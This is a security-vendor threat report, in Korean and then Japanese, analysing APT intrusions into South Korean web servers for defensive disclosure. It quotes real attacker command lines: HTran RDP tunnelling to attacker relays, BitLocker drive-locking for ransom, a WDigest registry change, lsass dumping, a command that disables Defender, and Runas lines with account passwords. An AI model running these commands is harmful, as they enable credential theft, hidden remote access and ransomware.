update.exe(update.zip) 혹은 info.exe(info.zip) 이름으로 설치하였다. 또한 공격자들이 사용한 Frpc 다운로드 URL의 경우 국내 침해 기업의 서버를 악용하는 것으로 확인되었다. – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [표 4] 공격자가 사용한 Frpc 다운로드 URL 이외에도 공격자들은 외부에서 연결 가능한 PC임에도 FRP를 통해 연결하도록 설정하였는데, FRP에서 사용되는 중계기 서버(Frps) 프로그램을 특정 국내 기업에 설치한 것으로 보아 국내 IP로 의심을 피함으로써 연결을 유지하고 또 자신들의 IP를 은닉하기 위해 사용하는 것으로 추정된다. 따라서 Frps가 설치된 국내 기업의 서버 또한 공격자에 의해 장악된 것으로 보인다. 2022년 국내 기업 서버 중 중계기로 사용된 기업은 현재까지 두 곳으로 확인된다. 아래의 그림과 같이 Remote IP 서버가 중계기 서버로 Frps가 설치되었으며, 좌측 Local IP가 Frpc가 설치된 서버로 공격자가 조작하려는 PC이다. 해당 중계기 서버는 아래와 같이 연결 가능하다. 3.2. HTran(LCX) 포트 포워딩이랑 특정 포트에서 전달받은 데이터를 다른 포트로 전달하는 기능이다. 이러한 포트 포워딩을 지원하는 툴로는 대표적으로 과거부터 사용되고 있는 HTran이 있는데 소스 코드가 공개되어 있음에 따라 다양한 공격자들에 의해 최근까지도 사용되고 있다. 여기에서는 해당 툴에 대한 간략한 정보와 함께 공격자가 이를 이용한 실제 공격 사례들을 다룬다. 먼저 HTran은 다음과 같이 3개의 모드가 지원된다. 이 중에서 “-tran” 모드는 특정 포트에서 전달받은 데이터를 특정 주소로 전달하는 기능을 제공한다. 다음 커맨드 라인은 실제 공격자가 HTran을 rdpclip라는 이름으로 생성한 후 실행한 명령이다. 참고로 rdpclip는 공격자가 소스 코드를 변조하여 인자 중 옵션을 제거하였으며, 대신 인자의 개수를 이용해 어떤 기능인지 파악하여 동작한다. > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 이러한 인자를 받아 실행될 경우 110번 포트로 바인딩하고 있다가 외부의 공격자가 110번 포트로 연결할 경우 로컬의 3389번 포트로 포워딩해준다. 이에 따라 공격자는 감염 시스템에 RDP를 연결할 때 3389번 포트 대신 110번 포트로 연결해도 정상적으로 원격 데스크탑을 사용할 수 있다. 다음은 공격에 사용된 rdpclip을 이용한 테스트로서, 로컬 시스템의 4444번 포트와 로컬 시스템의 80번 포트를 포워딩해주는 명령을 실행하였다. 이 경우 외부에서 “192.168.204.131:4444” 주소로 연결하더라도 “192.168.204.131:80” 포트로 연결한 것과 동일한 결과를 얻을 수 있다. 다음으로 “-listen” 모드가 있는데 인자로 2개의 포트 번호를 전달받아 각각의 포트에 바인딩하면서 대기한다. 만약 2개의 인자로 모두 연결이 확립될 경우 둘 중 하나의 포트에서 전달받은 데이터를 다른 포트로 포워딩한다. 일반적으로 “-listen” 모드는 “-slave” 모드와 함께 사용될 것이다. “-slave” 모드는 “-tran” 모드와 유사한데 “-tran” 모드가 로컬 시스템의 특정 포트를 열고 대기하고 있었다면 “-slave”는 지정한 주소에 직접 연결한다. 다음은 위와 동일한 악성코드이며 이름만 “p”로 변경되어 인자로 모드 종류를 전달받지 않지만 개수가 4개임에 따라 “-slave” 모드로 실행된다. 이러한 인자를 받아 실행될 경우 A( 1**.**.***.*8 ):1000 주소로 연결 시도하며, 연결이 확립되면 로컬 시스템의 3389번 포트로 포워딩한다. > p 1**.**.***.*8 1000 127.0.0.1 3389 시스템 A:1000 에서는 다음과 같이 HTran이 “-listen” 모드로 실행 중일 것이다. (예시를 위해 첫 번째 인자를 80으로 사용) 이에 따라 공격자는 A:80 주소로 접근하여 공격 대상 시스템에 RDP 접속이 가능해진다. A 에서 실행 중이던 HTran이 80번 포트에서 전달받은 데이터를 1000번 포트로 전달하며, 1000번 포트는 공격 대상 시스템에서 실행 중인 HTran과 연결되어 있기 때문이다. 최종적으로 공격 대상 시스템의 HTran은 전달받은 데이터를 로컬 시스템의 3389번 포트로 포워딩한다. > HTran.exe 1000 80 다음은 또 다른 예시이다. c.txt가 HTran이며 별다른 수정 사항이 없는 형태로서 “-slave”와 같은 인자도 그대로 사용된다. 다음 명령을 통해 실행된 HTran은 B( 1**.***.**.*3 ):443 주소와 C (2**.***.**.6 ):1433 주소 사이에서 프록시로서 동작한다. 즉 공격자는 B 의 특정 주소에 접근함으로써 C:1433 즉 C 시스템의 MS-SQL 서버에 접근할 수 있게 된다. > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 4. 랜섬웨어 감염 사례(BitLocker) 현재까지 확인된 사례 중 해당 그룹에 의한 랜섬웨어 감염 사례는 아직 그리 많지 않다. 공격 그룹은 랜섬웨어를 새로 만들지 않고 윈도우 정상 암호화 프로그램인 BitLocker를 악용하여 디스크 암호화를 수행하였다. BitLocker는 윈도우에서 자체적으로 제공하는 디스크 암호화 도구로 원래는 디스크 보안을 위해 사용되는 도구다. 이는 커맨드 라인 방식을 지원하는데, 기본적으로 Manage-bde라는 명령어를 사용해 BitLocker 기능을 사용할 수 있으며 드라이브를 잠그게 되면 접근 시 암호가 필요하다. 공격자는 아래와 같은 명령어를 통해 암호화를 수행하였다. 암호는 아래의 명령을 입력 시 GUI 창을 통해 설정할 수 있다. (F: 드라이브는 예시) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: 드라이브 볼륨 암호화 및 사용할 암호 입력 드라이브 암호화 설정 후 아래의 명령어와 같이 lock을 통해 드라이브에 대한 접근을 불가능하도록 수행한다. CMD> manage-bde -lock -ForceDismount F: F: 드라이브 볼륨 잠금 설정(액세스 불가) 따라서 잠금이 완료되면 사용자는 암호를 알아야만 접근할 수 있다. 공격자가 사용한 랜섬 노트는 아래와 같다. 이번 사례의 공격 과정을 요약하자면 공격자들은 IIS 웹서버나 MS Exchange 서버와 같이 외부에서 접근 가능한 취약한 기업 PC를 대상으로 스캔하고 공격을 시도한다. 이후 웹쉘 등을 이용해 시스템 일부를 접근하며, 권한 상승(Privilege Escalation)을 지원하는 Potato 도구나 Exploit 도구를 악용해 시스템 권한을 획득한다. 다음에는 해당 시스템을 더욱 쉽게 조작하기 위해 LCX나 FRP 도구를 설치해 외부에서 RDP로 접속 가능하도록 설정하고 내부 전파 및 최종 단계(정보 유출 및 랜섬웨어)를 수행하였다. 이에 따라 서버 관리자는 서버 구성 환경이 취약할 경우 최신 버전으로 패치해 기존에 알려진 취약점으로부터 사전에 방지해야 한다. 또한 외부에 공개된 서버의 경우 보안 제품을 통해 외부인으로부터 접근을 통제할 필요가 있다. [파일 진단] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) MD5 018dd881f5bf9181b70f78d7d38bd62a 0311ee1452a19b97e626d24751375652 055cc4c30260884c910b383bb81cf7c8 07191f554ed5d9025bc85ee1bf51f975 1b562817eadfb12f527bf25bf5c803b1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.
ASEC 영어·일본어 등 다른 언어 글 4건
ASEC 韓国国内企業の Web サービスを対象とする APT 攻撃事例の解析 2023-08-24
Web サーバーは、不特定多数のユーザーに Web サービスを提供することを目的として外部に公開しているため、攻撃者の代表的な攻撃対象となっている。AhnLab Security Emergency response Center(ASEC)は、脆弱性がパッチされていなかったり、不適切に管理されている脆弱な Web サーバーを対象とした攻撃をモニタリングしている。 本記事では、ここ数年、韓国国内企業の Web サーバーを攻撃し続けている APT 攻撃事例を整理した。また、攻撃に使用された様々なマルウェアおよびツールの IoC も一緒に公開する。攻撃者はほとんどの感染システムで「tripod」という名前のアカウントを悪用しており、これはこの攻撃者を特定できる数少ない特徴の一つである。 Figure 1. ほとんどの感染システムで確認できる tripod ユーザーアカウント 1. 概要 Windows Server を通じて Web サービスを提供する Web サーバーの代表例としては Internet Information Services(IIS) Web サーバー、Apache Tomcat Web サーバー、JBoss、Nginx などがある。このような Web サーバーは、脆弱性がパッチされていなかったり、不適切に管理されている場合、持続的に様々な攻撃者の攻撃対象となる。ASEC では、脆弱な Apache Tomcat Web サーバーや [1] JBoss ベースの PACS(Picture Archiving and Communication System)サーバーを攻撃して [2] Metasploit Meterpreter をインストールした攻撃事例を公開したことがある。 Windows Server を使用中の韓国国内企業の場合、IIS Web サーバーの割合が高く、これにより IIS サーバーを対象とする攻撃も多数確認されている。過去の中国を拠点とした攻撃グループである Dalbit の攻撃事例や [3] 韓国国内企業の情報を窃取する中国ハッカーグループの攻撃事例でも [4] IIS Web サーバーが攻撃対象となっていた。それだけでなく、Kimsuky 攻撃グループが [5] IIS Web サーバーを攻撃したり、Lazarus 攻撃グループが感染後にマルウェア配布サーバーとして使用した事例も [6] ある。 今回確認された攻撃者もまた Windows IIS Web サーバーを攻撃対象としていた。攻撃は、少なくとも2019年から確認されており、Korea Internet & Security Agency(KISA)は2021年、「不正な広告挿入による侵害事故の事例および対応方法」 [7] というテーマのレポートを発刊した。このレポートによると、攻撃者は特定企業のホームページを攻撃して無断で広告コードを挿入した。攻撃者は、放置されている Web サーバーの掲示板に存在するファイルアップロード脆弱性を利用して Web シェルをインストールした。その後、最終的に広告挿入インフラを構築し、アクセスユーザーに広告を見せた。攻撃者は、検知を回避するため、夕方の時間帯や管理者がサーバーからログオフするなど、特定の条件を満たすと、広告コードを挿入したページに変更し、朝方や管理者がサーバーにログオンするなどの条件を満たすと、再び正常なページに復旧される緻密さを見せた。 ASEC は、少なくとも2019年から最近までも攻撃者による韓国国内企業への持続的な攻撃が行われていることを確認した。攻撃が確認された韓国国内企業は、ホテル、通信機器メーカー、ネットショップ、外資系メーカーなど様々である。攻撃プロセスで大半が既知のマルウェアおよびツールを使用しているため、様々な攻撃の中からこの攻撃者を特定することは困難だが、攻撃に使用されたいくつかのツールが中国語版であることを確認した。これにより、攻撃者が中国語に慣れているユーザーであると推定できる。 また、KISA のレポートの事例では、攻撃者は最終的に正常な Web サービスに広告を挿入しようとしていた。しかし、ASEC で確認した事例では、広告に関わるファイルおよびログは確認されず、ボリュームシャドーコピーを削除する振る舞いが確認されることから、攻撃者が感染システムにランサムウェアをインストールするなどの別の目的がある可能性もある。 2. 攻撃者解析 脆弱なシステムは、様々な攻撃者の攻撃対象となる。特に IIS Web サーバーや MS-SQL サーバーの場合、持続的に違う攻撃者が同じシステムを攻撃する傾向がある。つまり、様々なマルウェアおよび攻撃ログの中から特定の攻撃者の振る舞いのみを抽出するには限界がある。ここでは、マルウェアおよび攻撃ログの中から、できる限りこの攻撃者の固有の特徴をもとに、短期間で行われた攻撃をベースに整理した。しかし、同じ時期に他の攻撃者が類似する攻撃を行った可能性、つまり違う攻撃者のマルウェアおよび攻撃ログが含まれている可能性もある。 2.1. 攻撃事例の共通点 一般的に IIS Web サーバーを対象とする攻撃事例では Web シェル、Potato、権限昇格脆弱性 PoC、Ladon などの共通したマルウェアが確認される。このようなツールのほとんどは、中国語を使用する攻撃者が攻撃によく使用する傾向があるが、インターネット上に公開されているものであるため、ファイルだけで攻撃者を特定することは困難である。 しかし、攻撃者がファイル検知を回避するため、マルウェアを VMP でパックしたり、直接開発して攻撃に使用する事例が存在する。これはこの攻撃者のみが持つ特徴であるため、これをベースに攻撃事例を分類した。他にも、攻撃者は主にマルウェアを以下のパスに生成するという特徴がある。 %ALLUSERSPROFILE%\Microsoft\DeviceSync\ %SystemRoot%\debug\WIA\ また Sy_Runas が攻撃に使用されるが、これは Web シェルを通じて特定のユーザーの権限でコマンドを実行するツールである。Sy_Runas を攻撃に使用する事例は、今のところはよく使用されず、主に以下のようなファイル名で生成されるという特徴がある。 %SystemRoot%\debug\WIA\wiatrace.log Figure 2. Sy_Runas これ以外にも、韓国国内の特定の企業の Webサーバーをマルウェアのダウンロードサーバーとして使用している。攻撃者は、この企業を攻撃してマルウェアをアップロードした。その後、他の企業を攻撃する際にこれをダウンロードして使用しているものと推定される。このアドレスは、その後も制御権を維持するため NetCat の C&C サーバーとしても使用された。 最も大きな特徴は「5.持続性の維持」の項目で扱うが、持続性を維持するため、Web シェルを追加でインストールするマルウェアが確認されるという点である。これにより、感染システムはタスクスケジューラにこの Batch ファイルを実行するコマンドが登録されている。 攻撃者は、感染システムを掌握した後、Administrator のアカウント情報を窃取して使用したり、UserClone で Guest アカウントに Administrator 権限を付与して使用することもあるが、「tripod」という同じアカウント名が様々なシステムから確認されていることから「tripod」というアカウントを生成し、使用しているものと推定される。 2.2. 攻撃に使用された中国語のツール 攻撃に使用されたツールの多くは、すでに公開されているツールであり、攻撃者が直接製作したと思われるファイルもすべて PDB のような付加情報が存在しない。しかし、攻撃者が攻撃に使用したツールや直接製作したマルウェアから中国語環境との関連性が確認された。 攻撃者は、持続性維持プロセスで WinRAR を使用して Web シェルをインストールする。いくつかの事例では、一般的な英語版 WinRAR が使用されたが、2019年に確認された攻撃では中国語版 rar を使用した履歴を確認できる。 Figure 3. 中国語版 WinRAR.exe 攻撃者は攻撃プロセスにおいて、テストを目的とするプログラムを製作し、使用した事例が存在する。テストプログラムは WinRAR SFX 形式の実行ファイルであり、一部のファイルは単純に同じパスに「test.txt」という名前の空のファイルを生成する振る舞いをするだけであるが、一部のファイルは同じパスに「test」という名前の空のファイルを作成するだけでなく、以下のパスに存在する「sd2.bat」ファイルを実行するコマンドが含まれている。このパスは攻撃に使用されるパスであり、もしこのパスに Batch ファイルが存在する場合、実行させる Launcher 機能を担う可能性もある。 > “C:\Windows\System32\cmd.exe” /c C:\WINDOWS\System32\spool\drivers\color\sd2.bat Figure 4. テスト目的であると推定される WinRAR SFX 実行ファイル 上記の WinRAR SFX 実行ファイルは、中国語版で製作されており、実行ファイルのリソース領域を見ると、中国語版 WinRAR 文字列を確認することができる。 Figure 5. 中国語版で製作された WinRAR SFX 実行ファイル 3. 初期侵入 KISA のレポートによると、攻撃者は被害を受けた企業のホームページにファイルアップロード脆弱性を利用して Web シェルを添付ファイルとしてアップロードした。攻撃者は最初にアップロードした1次 Web シェルを利用し、アップロードパスではない一般のパスに2次 Web シェル(1.asp)を追加でアップロードしたという。当社 AhnLab Smart Defense (ASD)ログの検知ログを見ると、KISA のレポートと類似したファイル名である「1.aspx」が存在する。 Web シェルのパス名 D:\***Root_DB\1.aspx D:\**trust\www\photo_upload..1.aspx D:\**trust\www\photo_upload\1(0).aspx E:\****Hotel\upload\thanks\test.asp C:\***Pay15\source\source.asp Table 1. 検知された Web シェルのパス名 攻撃者はこの後、2次 Web シェルで権限昇格ツールである Potato マルウェアや UserClone、Mimikatz などのマルウェアを生成したという。実際、当社 ASD のログを見ると、Web シェルがアップロードされてから、様々なマルウェアがアップロードされた履歴が存在する。 以下は、攻撃プロセスで確認された Web シェルの中から収集されたタイプで、実際の攻撃においては以下のタイプ以外にも、はるかに多いと思われる。 Figure 6. 攻撃に使用されたものと推定される Web シェル 4. 権限昇格 4.1. Potatos Potato マルウェアは、権限昇格機能を担うマルウェアであり、権限昇格方法によって JuicyPotato、RottenPotato、SweetPotato など様々なタイプが存在する。攻撃者は、Web シェルや辞書攻撃を通じて感染システムを制御できたとしても w3wp.exe プロセスに適切な権限が存在しないため、意図した不正な振る舞いは実行できない。これは MS-SQL サーバーの sqlservr.exe プロセスにおいても同じだが、攻撃者はこのような問題を解決するため、攻撃プロセスで権限昇格のマルウェアを同時に使用する傾向がある。 特に IIS Web サーバーや MS-SQL データベースサーバーを対象とする攻撃では、主に Potato 権限昇格のマルウェアが使用される。Potato は、特定の権限が有効になっている一部のプロセスを悪用する方式で権限を昇格させる。その後、攻撃者は昇格された権限で不正な振る舞いを実行することができる。 攻撃者は BadPotato、EfsPotato、GodPotato、JuicyPotato、JuicyPotatoNG、PetitPotato、PrintNotifyPotato、SharpEfsPotato、SweetPotato など、ほとんどの Potato タイプを攻撃に使用した。最近は、韓国国内の特定の企業の Web サーバーにマルウェアをアップロードし、他のシステムに対する攻撃プロセスで、これをダウンロードして使用した。攻撃者は、すでに制御権を獲得したシステムをマルウェア配布サーバーとして活用しているものと見られる。 Figure 7. Web シェルを利用してマルウェアをインストールするログ 攻撃に使用された Potato マルウェアの中には、すでに数年前から確認されているファイルだけでなく、攻撃者が直接 VMProtect でパックしたファイルも存在する。最近は GitHub に公開されているパックツールである「go-shellcode」でパックされた Potato マルウェアが攻撃に使用されている。 [8] 「go-shellcode」は、Go 言語で開発されており、以下のように様々な技法を利用してシェルコードを実行させるツールである。 Figure 8. go-shellcode パッカー 最近、攻撃者はファイル検知を回避することを目的に Go 言語でマルウェアをパックする傾向があり、「go-shellcode」もまた攻撃者が指定したマルウェアを暗号化して保存し、実行中にメモリ上で復号化して実行させてくれるツールである。以下の図の左側は「go-shellcode」で EtwpCreateEtwThread() 関数を利用してシェルコードを実行するルーティンであり、右側は CreateFiber() 関数を利用してシェルコードを実行するルーティンである。攻撃者は Potato マルウェアを「go-shellcode」のコードを利用してパックした。 Figure 9. パックされた Potato マルウェア 攻撃者は Potato マルウェアを利用して様々なコマンドを実行しており、ログの中からは Windows Defender の検知を回避するためのコマンドも確認される。 e:\win64_*****_client\client\stage\cmd.exe /c cd /d c:\quarantine_mz\& etwpcreateetwthread1.gif -t * -p c:\windows\system32\cmd.exe -a “/c powershell set-mppreference -disablerealtimemonitoring $true” -l 1500& echo [s]&cd&echo+[e] 4.2. その他権限昇格のマルウェア 攻撃者の多くは、権限昇格のために Potato マルウェアを使用したが、これ以外にも PrintSpoofer や脆弱性 PoC マルウェアも多数確認されている。特に PrintSpoofer マルウェアの場合、ほとんどの感染システムから確認されていることから、攻撃者は権限昇格を目的として Potato マルウェアと一緒に PrintSpoofer を主に使用していると見られる。 Figure 10. PrintSpoofer 権限昇格ツール もちろん、これ以外にも COMahawk(CVE-2019-1405、CVE-2019-1322) [9] 、CVE-2020-0787 [10] 、IIS LPE(by k8gege) [11] など様々なツールが攻撃に使用されている。 5. 持続性維持 5.1. 追加 Web シェルのインストール KISA のレポートによると、攻撃者は「CredentialTask」、「CertificateTask」というタスクを登録して管理者の仕事が終わる時間帯に企業のホームページに無断で広告ページを表示させた。登録されているタスクは Batch ファイルを実行させ、Web シェルをインストールし、広告ページを登録する機能を担う。無断広告は、特定の時間帯にホームページのソースコードを広告コードが挿入されたスクリプトに変更したり、再び元の状態に戻す方式で行われる。 現在の調査対象のシステムの場合、タスクスケジューラによって実行される Batch のファイル名は「winrmr.cmd」であり、設定ファイルである「SCFConfig.dat」を読み込んで不正な振る舞いを実行する。このシステムで攻撃者は、無断で広告を表示させる機能を有効化していないものと推定されるが、これは設定ファイルに Web シェルを担う最初のラインが存在するだけで、広告を挿入した Web ページに対する他のラインは存在していないからである。また、設定ファイルに指定された圧縮ファイル「winrnr.cmd」にも Web シェルファイルのみ存在し、広告を挿入した Web ページファイルは存在しない。 SCF1.dat|”D:\***demo\www\cscenter\ajaxNoticefaq.asp”|AA3A20597084944FDCBE1C3894FD7AB5 Figure 11. 広告挿入ページ関連の設定が含まれた設定ファイル – 出典(KISA レポート Batch ファイルは、圧縮ファイル「winrnr.cmd」内に保存されている Web シェル「SCF1.dat」の MD5を取得した後、設定ファイルの3番目のフィールドに存在する値と比較して検査を行う。同じハッシュの場合、2番目のフィールドに指定されたパスで Web シェルをコピーし、権限を設定する。 Figure 12. コピーした Web シェルに権限を設定するルーティン このようなプロセスを通じてシステムに定期的に Web シェルがインストールされ、攻撃者はこれを利用して感染システムを制御することができる。Web シェルは、正常なスクリプトであると思われる注釈の一番下に挿入されている。 Figure 13. 新しいパスに生成された Web シェル Web シェルのインストールパス C:\Webservice\****do\board\notice\board_write.asp C:\WebService\****do\products\inquiry\board_view.asp d:\*****cokr\www\member\login.asp d:\*****shop\www\product\product.asp d:\style\www\assets\fontawesome\font\font.asp d:\*****bie\www\about\index.asp d:\*****allen\www\customer_service\notice.asp D:\***demo\www\cscenter\ajaxNoticefaq.asp E:\****Hotel\include\check8.asp E:\****no\www\iprice\iprice.asp Table 2. 持続性を維持するための Web シェルのインストールパス 5.2. 権限コピーマルウェア 攻撃者は、権限をコピーするマルウェアを利用して Guest アカウントに Administrator 権限を付与した。これは、レジストリに存在する SAM キーの F 値をコピーする方式で行われる。SAM キーの F 値には RID を含む情報が保存されるが、Guest アカウントの RID 値を Administrator アカウントの RID 値に変更し、Guest アカウントを使用する攻撃者が管理者権限で不正な振る舞いを実行できるようになる。 Figure 14. 権限コピーツール 5.3. UserClone UserClone は、管理者グループのアカウントを生成したり、特定のアカウントの権限を他のアカウントにコピーする機能を提供するツールである。/Clone オプションを使用する場合、2番目の引数で渡されたアカウントの権限を1番目の引数で渡されたアカウントにコピーするが、上記で取り扱った権限をコピーするマルウェアと同じ方法を使用する。実際に KISA のレポートでも攻撃者が Guest アカウントの権限を Administrator アカウントの権限に変更するため UserClone を使用したという内容を確認できる。 Figure 15. UserClone ツール 6. 자격 증명 정보 수집 6.1. Mimikatz / ProcDump 攻撃者はこの後、現在の感染システムに存在する資格証明情報を収集するため、Mimikatz をインストールした。上記のように直接管理者アカウントを生成したり、UserClone ツールを利用して権限を昇格することもあるが、攻撃プロセスで Administrator アカウントを悪用するログが確認されることから窃取したアカウントも使用していると思われる。 Mimikatz は、Windows OS 環境における資格証明情報を抽出する機能をサポートするツールである。Windows システムに存在する平文パスワードやハッシュ情報を抽出するだけでなく、取得した資格証明情報を利用したラテラルムーブメント攻撃もサポートする。そのため、企業の内部ネットワークを掌握して情報を窃取したり、ランサムウェアをインストールするための手段として頻繁に使用されている。 最新 Windows 環境では、基本的に WDigest セキュリティパッケージを利用した平文パスワードの取得は不可能であり、UseLogonCredential レジストリキーを設定しないと平文パスワードを取得することはできない。これにより、攻撃者は UseLogonCredential レジストリキーを追加するために以下のようなコマンドを実行した。 > reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 一般的に Mimikatz は、現在実行中の lsass.exe プロセスのメモリを読み込んで復号化してから資格証明情報を取得するが、メモリダンプファイルが存在する場合は、これを引数で渡されて資格証明情報を取得することができる。最近、攻撃者はセキュリティ製品の検知を回避するため、正常なプログラムである Sysinternals 社の ProcDump を利用することもある。Mimikatz のようなマルウェアが lsass.exe プロセスのメモリにアクセスできない場合は、代わりに正常なプログラムである ProcDump にメモリをダンプしてファイルを生成し、これを Mimikatz で読み込んで復号化する方法である。以下のように ProcDump を利用して lsass.exe プロセスのメモリをダンプするコマンドが確認されることから、攻撃者もまたこのような方法で Mimikatz を使用したものと推定される。 パス名 引数 E:\****Hotel\faq\f.asp -accepteula -ma lsass.exe e:\****hotel\faq\lsass.dmp %ALLUSERSPROFILE%\microsoft\devicesync\procdump64.exe -accepteula -ma lsass c:\programdata\microsoft\devicesync\lsass.dmp Table 3. ProcDump を利用した資格情報の窃取 6.2.Runas マルウェア Runas タイプのマルウェアは、引数で特定のユーザーのアカウント情報を渡された後、情報を渡されたアカウントの権限でコマンドを実行する機能を担う。このようなマルウェアには RunasCs や Sy_Runas があり、攻撃者は両方とも攻撃に使用している。ログ上では Sy_Runas の割合が高いが、.NET で開発された RunasCs も多くのシステムから一緒に確認される。 Figure 16. RunasCs ツール 攻撃者は Web シェルを利用してコマンドを実行する場合、Potato のような権限昇格ツールを使用したり、Runas マルウェアを使用する。Runas を使用する場合は、Mimikatz を通じて収集した既存のアカウントの資格証明情報を利用したり、UserClone を通じて昇格された権限を持つ Guest アカウントを利用したりする。さらに、直接追加したものと思われるアカウントを使用することもある。攻撃プロセスでは、このように様々なアカウントが使用されるが、中でも目立つアカウントとしては「tripod」というアカウントがある。このアカウントは、ほとんどの感染システムで確認できる共通点の一つであるが、攻撃者が直接追加したアカウントであると推定される。 パス名 引数 %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “whoami” %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “query user” %SystemRoot%\debug\wia\wiatrace.log tripod c!!l!0w111 “query user” %SystemRoot%\debug\wia\wiatrace.log tripod ww28win “whoami” %SystemRoot%\debug\wia\wiatrace.log tripod “c)!l(4w096” “query user” %SystemDrive%***pay50\sample\popup_img\bg1.gif tripod “c)!l!2w011” “query user” Table 4.Sy_Runas を利用して tripod アカウントの権限を検査するコマンドログ 7. 遠隔操作 7.1. NetCat 攻撃者は、WebShell を利用して追加のマルウェアを生成して実行した。しかし、これ以外にも NetCat をインストールしてリバースシェルとして使用した。攻撃に使用された C&C アドレスは IP フォーマットであるが、実際は、上記で取り扱ったダウンロードアドレス、つまりすでに侵入してマルウェアをアップロードした企業のアドレスと同じである。 Figure 17. NetCat 実行ログ 7.2. Ladon 攻撃者は、これ以外にも攻撃プロセスでオープンソースのハッキングツールである Ladon を使用した。 [12] Ladon は、以下のような GitHub ページでも確認できるように中国語をベースにする攻撃者が主に使用するツールの一つである。 [13] Ladon は、攻撃プロセスに必要な様々な機能をサポートするため、攻撃者は攻撃対象のシステムを掌握した後、Ladon を利用してスキャニング、権限昇格、アカウント情報の窃取のような様々な不正な振る舞いを実行することができる。 Figure 18. Ladon GitHub ページ 実行ファイルフォーマットの Ladon だけでなく、PowerShell フォーマットである PowerLadon も一緒に攻撃に使用された。 [14] 攻撃者は、PowerShell コマンドを利用して、すでに侵害を受けた韓国国内の企業の Web サイトから PowerLadon をダウンロードした後、badpotato コマンドで権限昇格が正常に行われているかを検査した。 Figure 19. PowerLoadon インストールコマンド 8. 攻撃の後 KISA のレポートによると、攻撃者は「CredentialTask」、「CertificateTask」というタスクを登録して管理者の仕事が終わる時間帯に企業のホームページに無断で広告ページを表示させた。少なくとも2021年まで攻撃者の目的は広告ページを表示して収益を得ることであったと思われる。実際に当社 ASD のログでも感染システムのうち、このタスクがタスクスケジューラに登録され、実行されるログも確認できる。 Figure 20. スケジューラに登録された CertificateTask タスク しかし、「5.持続性の維持」項目で取り扱ったシステムでは、持続性を維持するため、Web シェルをインストールする以外にも広告が含まれた Web ページに変更する機能が存在しない場合もある。また、特定のシステムでは攻撃者が Sy_Runas を利用して感染システムのボリュームシャドーコピーを削除するログも確認された。 Figure 21. ボリュームシャドーコピーを削除するコマンドログ このように攻撃者の初期の目的は、無断で広告を表示して収益を得ることだったが、最近ではランサムウェア攻撃など別の目的を持っている可能性もある。 9. 結論 最近、持続的に韓国国内企業の Webサーバーを対象とする APT 攻撃が確認されている。攻撃者は、少なくとも2019年から攻撃を開始しており、主に企業のホームページに広告を挿入することを目的としていた。しかし、最近確認される攻撃ログを見ると、ランサムウェアのインストールといった別の目的が追加された可能性がある。 攻撃者は、不適切に管理されていたり、脆弱性がパッチされていない Web サーバーを攻撃して Web シェルをインストールした。KISA のレポートによると、主にファイルアップロード脆弱性を利用して Web シェルをアップロードしたものと推定される。その後、権限昇格、持続性の維持、資格証明情報の窃取などのプロセスを経て感染システムに対する制御権を獲得した。 管理者は、Web サーバーに存在するファイルアップロード脆弱性をチェックし、初期侵入パスである Web シェルのアップロードを事前に遮断できるようにしなければならない。また、パスワードを定期的に変更し、アクセス制御を設定して窃取されたアカウント情報を利用したラテラルムーブメント攻撃に備えなければならない。また、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払うべきである。 ファイル検知 – Dropper/Win32.Agent.C106924 (2011.10.12.00) – Exploit/Win.Agent.C5224192 (2022.08.17.01) – Exploit/Win.Agent.C5404633 (2023.04.04.00) – Exploit/Win.Agent.C5404635 (2023.04.04.00) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – Exploit/Win.DcomRpc.R554379 (2023.01.28.00) – Exploit/Win.JuicyPotato.C2724641 (2022.08.09.00) – Exploit/Win.JuicyPotato.C5417758 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5417761 (2023.04.25.01) – Exploit/Win.JuicyPotato.C5445175 (2023.06.23.03) – 